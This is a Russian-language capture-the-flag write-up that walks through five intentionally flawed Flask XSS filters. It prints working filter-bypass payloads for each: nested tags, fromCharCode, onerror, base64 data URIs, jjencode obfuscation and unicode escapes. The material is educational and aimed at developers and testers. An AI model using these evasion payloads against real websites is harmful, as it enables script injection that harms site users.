Cross Site Scripting. Несколько методов обхода Web Application Firewall на примере одного CTF

15.11.2017

For the sake of viewer convenience, the content is shown below in the alternative language. You may click the link to switch the active language.

Казалось, об XSS уже рассказано очень многое и очень многими, но до сих пор подобного рода атаки актуальны и злоумышленники используют их для своих целей. В большей степени это возможно из-за ошибок разработчиков при написании алгоритмов фильтрации входящих данных, а также из-за невнимательности аудиторов, которые не уделяют должного внимания при аудитах WEB сайтов.

Рассмотрим на практике методы обхода ошибочных фильтров на примере заданий одного CTF в котором мне довелось поучаствовать.

Само задание выглядит следующим образом:

Правильным решением должно стать вызов предупреждения alert(‘XSS’) именно так, и никак иначе. Так как это CTF, то исходный код алгоритма фильтрации предоставлен по ссылке, поэтому при решении каждого задания сразу видно и понятно, что именно фильтруется, что запрещено, а что разрешено.

Ну что ж, пойдем по порядку.

Первое задание.

GET запрос с передачей значений параметру name. Ну и взглянем, что же нам запрещено, что фильтруется:

@app.route('/xss1')
def xss1():
    msg = request.args.get('name','')
    msg = re.sub(r"""<[a-z/]""", "", msg, flags=re.IGNORECASE) # Remove HTML tags, i.e. everything starts with < followed by a-z or /
    msg = re.sub(r"""["']XSS["']""", "", msg, flags=re.IGNORECASE) # Remove the string "XSS" to make it a bit harder
    data = "Hello %s" % msg
    data += check_xss(data,flags[0])
    return data

Что ж, как видно из кода фильтра, из входящей строки фильтром вырезается символ < с любой, следующей за ним буквой или символом /, а также последовательность XSS. Передадим параметру name стандартный <script>alert('XSS')</script> и посмотрим как это будет выглядеть.

Заменим нашу строку на <<sscript>alert(1)<<//script> и посмотрим на результат.

Скрипт сработал, но, как мы помним нам необходим текст XSS, а он вырезается фильтром. Воспользуемся функцией String.fromCharCode(), которая возвращает сроку из переданной ей последовательности Unicode кодов символов. Наша строка теперь будет выглядеть следующим образом:

<<sscript>alert(String.fromCharCode(88,83,83))<<//script>

Передаем эту строку параметру name, и, получен необходимый результат, и есть первый флаг 🙂

Второе задание.

Вновь GET запрос и конструкция <img src.

Взглянем на фильтр:

@app.route('/xss2')
def xss2():
    msg = request.args.get('name','')
    blacklist = ['<', '>', '(',')']
    for word in blacklist:
        if word in msg.lower():
            return "Sorry you can't use %s" % word
    data = "<img src='%s'>" % msg
    data += check_xss(data,flags[1])
    response = make_response(data)
    response.headers["X-XSS-Protection"] = "0"
    return response

Запрещены символы < > ( ). Что ж, это не беда. Воспользуемся обработчиком ошибок onerror, для этого нам не нужны ни скобки, ни символы < >. Переданная параметру name строка будет выглядеть так:

'onerror="javascript:window.onerror=alert;throw 'XSS'"

И, есть второй флаг:

Третье задание.

Передача текстового параметра name в HTML форму.

А вот как выглядит фильтр для этого задания:

@app.route('/xss3')
def xss3():
    msg = request.args.get('name','')
    blacklist = ['script', 'on', 'style','(',')',"'"]
    for word in blacklist:
        if word in msg.lower():
            return "Sorry you can't use %s" % word
    data = """<form><input type=text name=name value="Hello %s"></form>""" % msg
    data += check_xss(data,flags[2])
    response = make_response(data)
    response.headers["X-XSS-Protection"] = "0"
    return response

В этом задании запрещены последовательности script, on, style, кроме того открывающиеся и закрывающиеся круглые скобки (,) и одинарная кавычка .

Первым делом закроем тег с помощью конструкции “>. Вот как это выглядит:

Помним, что нам запрещено использовать script, on, style. Воспользуемся тегом <object а в качестве данных передадим строку <script>alert(‘XSS’)</script> в кодировке Base64, после кодирования эта строка будет выглядеть так:

PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

И, соответственно, значение, которое мы передадим параметру name примет вот такой вид:

"><object+data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="></object>

Посмотрим результат:

Есть третий флаг, переходим к следующему заданию.

Четвертое задание.

POST форма, причем параметр передается в готовый тег <script>. Казалось бы, вообще легко, но посмотрим, какой вид имеет фильтр.

@app.route('/xss4',methods=['GET', 'POST'])
def xss4():
    msg = request.form.get('name','')
    blacklist = string.lowercase + string.uppercase + string.digits + '<>'
    for word in blacklist:
        if word in msg:
            return "Sorry you can't use %s" % word
    data = "<form method=post><textarea name=name cols=50 rows=20></textarea><br><input type=submit></form>"
    data += """<script>name = "%s"; document.write('Hello '+name);</script>""" % msg
    data += check_xss(data,flags[3])
    response = make_response(data)
    response.headers["X-XSS-Protection"] = "0"
    return response

Да уж, запрещены все буквы алфавита, цифры и символы < и >. Тем не менее, данные передадутся в уже готовую конструкцию <script></script>. Это важно, и в этом случае есть решение обойти такой фильтр.

Еще в 2009 году Yosuke HASEGAWA привел пример обфускации JavaScript кода, в результате которой, код представлял из себя набор символов без использования букв. Воспользуемся и мы этим методом. В сети есть множество онлайн кодеров кода, для примера можно использовать тот, который расположен на сайте автора:

http://utf-8.jp/public/jjencode.html

Закодируем с помощью него конструкцию alert(‘XSS’), получится вот такой набор символов:

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"('\\"+$.__$+$._$$+$.___+"\\"+$.__$+$._$_+$._$$+"\\"+$.__$+$._$_+$._$$+"')"+"\"")())();

Как видим, буквы, цифры и символы < > отсутствуют, именно то, что нам по условиям фильтра и надо.

Но, чтобы наш код сработал, необходимо выйти за пределы кавычек параметра name и отделить оператор двоеточием, поэтому перед кодом добавим “; а после кода добавим кавычки . Полный код, который мы вставим в поле отправки формы, будет выглядеть так:

";$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"('\\"+$.__$+$._$$+$.___+"\\"+$.__$+$._$_+$._$$+"\\"+$.__$+$._$_+$._$$+"')"+"\"")())();"

Отправляем, и смотрим результат:

Код сработал, жмем ОК на окошке, и:

Отлично, есть четвертый флаг!

Пятое задание.

Как и в предыдущем задании, данные передадутся в уже готовую конструкцию <script></script>, но уже в GET запросе, и тут использовать предыдущий метод не получится, ввиду ограничения на количество символов в URL. Ну и взглянем на фильтр.

@app.route('/xss5')
def xss5():
    msg = request.args.get('name','')
    blacklist = "<>'" + string.uppercase
    for word in blacklist:
        if word in msg:
            return "Sorry you can't use %s" % word
    msg = msg.replace('"',r'\"')
    data = """<script>name = "%s"; document.write('Hello '+name);</script>""" % msg
    data += check_xss(data,flags[4])
    response = make_response(data)
    response.headers["X-XSS-Protection"] = "0"
    return response

Запрещены прописные буквы (большие), символы < > и ' Кроме того, экранируются кавычки, то есть " заменяется на последовательность \"

Чтобы выйти за пределы кавычек, и отделить оператор, вначале данных добавим \"; а в конце //

Так как запрещены прописные буквы, одинарные кавычки и экранируются двойные, то воспользуемся методом String.fromCharCode(), при этом прописные буквы S и C заменим их значениями в UTF кодировке \u0053 и \u0043 соответственно.

А сам код у нас будет выглядеть следующим образом:

\";alert(\u0053tring.from\u0043har\u0043ode(88,83,83))//

Передаем этот код параметру name:

Есть последний флаг, и все задания решены.

Надеюсь, данные примеры помогут как разработчикам, так и пентестерам, при проверке правильности фильтрации входных данных.

©2017 Дмитрий Дмитриенко. Агентство Активного Аудита.

Share:

With this article also read: